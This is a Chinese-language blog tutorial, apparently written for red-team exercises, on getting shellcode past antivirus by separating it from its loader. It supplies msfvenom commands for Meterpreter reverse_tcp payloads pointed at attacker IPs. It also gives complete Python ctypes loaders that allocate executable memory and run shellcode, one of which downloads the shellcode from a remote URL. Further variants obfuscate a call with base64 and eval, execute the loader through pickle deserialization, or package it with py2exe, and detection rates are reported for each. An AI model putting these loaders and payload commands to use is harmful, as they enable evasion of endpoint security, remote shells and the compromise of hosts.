前言
HW在即,免杀是通往内网的重要桥梁。手里多备点免杀工具总是没错的。
shellcode
维基百科上解释:shellcode 是一段用于利用软件漏洞而执行的代码,一般为16进制的机器码,让攻击者获取shell而得名。
将程序进行分离或者混淆是规避杀软的两种有效方式。
这里参考tide团队的远控免杀系列 https://github.com/TideSec/BypassAntiVirus 整理了将shellcode分离的三种方式。所谓的分离就是将shellcode和加载程序分离开来。
以实战方便、操作简单汇总了分别由go、python、c++语言加载shellcode,当然这也会容易被查杀,但十分有效。
go加载shellcode
github 下载加载器。下载后切换到go-shellcode\cmd\sc目录,执行go build命令。(需要配置go环境)
该加载器加载hex编码格式的shellcode
所以由msfvenom生成hex格式的shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.37.129.7 LPORT=4444 -f hex -o shell.hex
目标机器上sc.exe运行shellcode即可。
sc.exe shellcode
c++加载shellcode
借助shellcode_launcher 执行shellcode加载到内存。
该加载器执行raw格式的shellcode。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.37.129.7 lport=4444 -f raw -o shellcode.raw
将shellcdoe_launcher.exe、raw文件上传到目标机器,执行以下命令即可。
shellcode_launcher.exe -i shellcode.raw
python加载shellcode
借用k8师傅的python加载器。同样可以从 github 上下载。
同样选用msfvenom来生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.37.129.7 lport=4444 -f c -o shell.c
生成的shell.c文件还需要hex编码
这里使用scrun.exe 来运行hex编码的shellcode。(也可以使用加载器运行base64编码后的shellcode)
运行后即可上线。
拓展
python加载shellcode
那么加载shellcode在代码上需要几步呢?
首先需要申请一块可读可写可执行的内存,再把shellcode放进去,然后从首地址开始执行。
以python为例,使用ctypes模块调用动态链接库函数的功能加载shellcode。
代码如下
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为cctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode首地址开始执行
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待创建的线程运行完毕
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
shellcode 可以是msfvenom 生成的
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.20 LPORT=4444 -f c
注:实验环境是win7 x64位,python 2.7 64位,所以这里payload也选择x64
将shellcode源码替换shellcode处,直接运行shellcode_python.py即可上线。
也可以是cobalt strike 生成的。
注:勾选x64
将shellcode源码替换shellcode处,直接运行shellcode_python.py即可上线。
免杀处理
shellcode 分离就是在上面代码的基础上将加载程序和shellcode进行分开。
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
import sys
def python_loader(shellcode):
shellcode = bytearray(shellcode.decode("hex"))
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
if __name__=="__main__":
if(len(sys.argv) == 2):
code = sys.argv[1]
shellcode = bytearray(code)
python_loader(shellcode)
else:
print('Usage:python_loader.py shellcode_hex')
这里参考k8师傅的思路。对shellcode进行hex编码后运行即可上线。
笔者测试发现单纯的python脚本在VT上查杀率是比较低的,而使用pyinstaller进行打包后的exe在VT上查杀率是非常高的。
而在实际windows免杀时,必须要打包成exe程序。借助python函数对脚本进行简单处理。
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
import sys
def python_loader(code):
shellcode = bytearray(code.decode("hex"))
# 设置VirtualAlloc返回类型为cctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
bufes = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
bufes,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode首地址开始执行
htes = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待创建的线程运行完毕
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(htes),ctypes.c_int(-1))
if __name__=="__main__":
if(len(sys.argv) == 2):
code = sys.argv[1]
python_loader(code)
else:
print('Usage:python_loader.py shellcode_hex')
该python脚本VT查杀结果4/58,pyinstaller打包exe查杀为10/69。
还可以做点改动,通过远程访问url地址加载shellcode,代码如下
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
import sys
import urllib2
def python_loader(url):
f = urllib2.urlopen(url)
data = f.read()
shellcode = bytearray(data.decode("hex"))
# 设置VirtualAlloc返回类型为cctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
pt1qr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
bufes = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(pt1qr),
bufes,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode首地址开始执行
htes = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(pt1qr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待创建的线程运行完毕
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(htes),ctypes.c_int(-1))
if __name__=="__main__":
if(len(sys.argv) == 2):
url = sys.argv[1]
python_loader(url)
else:
print('Usage:python_loader.py url')
运行即可上线
python脚本VT查杀率为3/58,pyinstaller打包后的VT查杀率为9/70。
刚刚学习到python也有eval函数。可以通过base64解码某个字符串,再通过eval执行
脚本如下
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# code by CSeroad
import ctypes
import sys
import base64
def python_loader(shellcode):
shellcode = bytearray(shellcode.decode("hex"))
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="))
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
if __name__=="__main__":
if(len(sys.argv) == 2):
code = sys.argv[1]
shellcode = bytearray(code)
python_loader(shellcode)
else:
print('Usage:python_loader.py shellcode_hex')
执行
python_loader.exe shellcode_hex
python脚本VT查杀率为4/60,pyinstaller打包后的VT查杀率为7/68。
python3反序列化加载shellcode
把变量从内存中变成可存储或传输的过程称之为序列化。
反过来,把变量内容从序列化的对象重新读到内存里称之为反序列化。
python提供了pickle模块来实现序列化。
通过pickle.dump() 把对象序列化。
比如打印a的值。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle
class A(object):
a = 1
def __reduce__(self):
return (print, (self.a,))
ret = pickle.dumps(A())
print(ret)
通过pickle.loads()方法反序列化。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle
class A(object):
a = 1
def __reduce__(self):
return (print, (self.a,))
ret = pickle.dumps(A())
b = pickle.loads(ret)
print(b)
也可以通过序列化,反序列化执行系统命令。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle
import base64
import os
class A(object):
def __reduce__(self):
return(eval,("os.system('calc.exe')",))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
b = pickle.loads(ret_decode)
print(b)
加载shellcode
a.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import pickle
import base64
shellcode = """
import ctypes,base64,sys
code = sys.argv[1]
a_bytes = bytes.fromhex(code)
shellcode = bytearray(a_bytes)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""
class A(object):
def __reduce__(self):
return(exec,(shellcode,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
#print(ret_base64)
ret_decode = base64.b64decode(ret_base64)
b = pickle.loads(ret_decode)
print(b)
运行该脚本,传入hex编码后的shellcode。
cobaltstrike 即可上线。
考虑到pyinstaller的免杀性不强,这次在python3环境上使用py2exe。
pip直接安装即可 pip install py2exe
创建setup.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
console=['a.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)
打包生成exe
python setup.py py2exe
运行a.exe,加载hex的shellcode即可上线。
打包后查杀率8/70
总结
经过pyinstaller打包后exe查杀率还是比较高,可拓展性不大。希望哪天可以写出另外两种语言的shellcode加载器。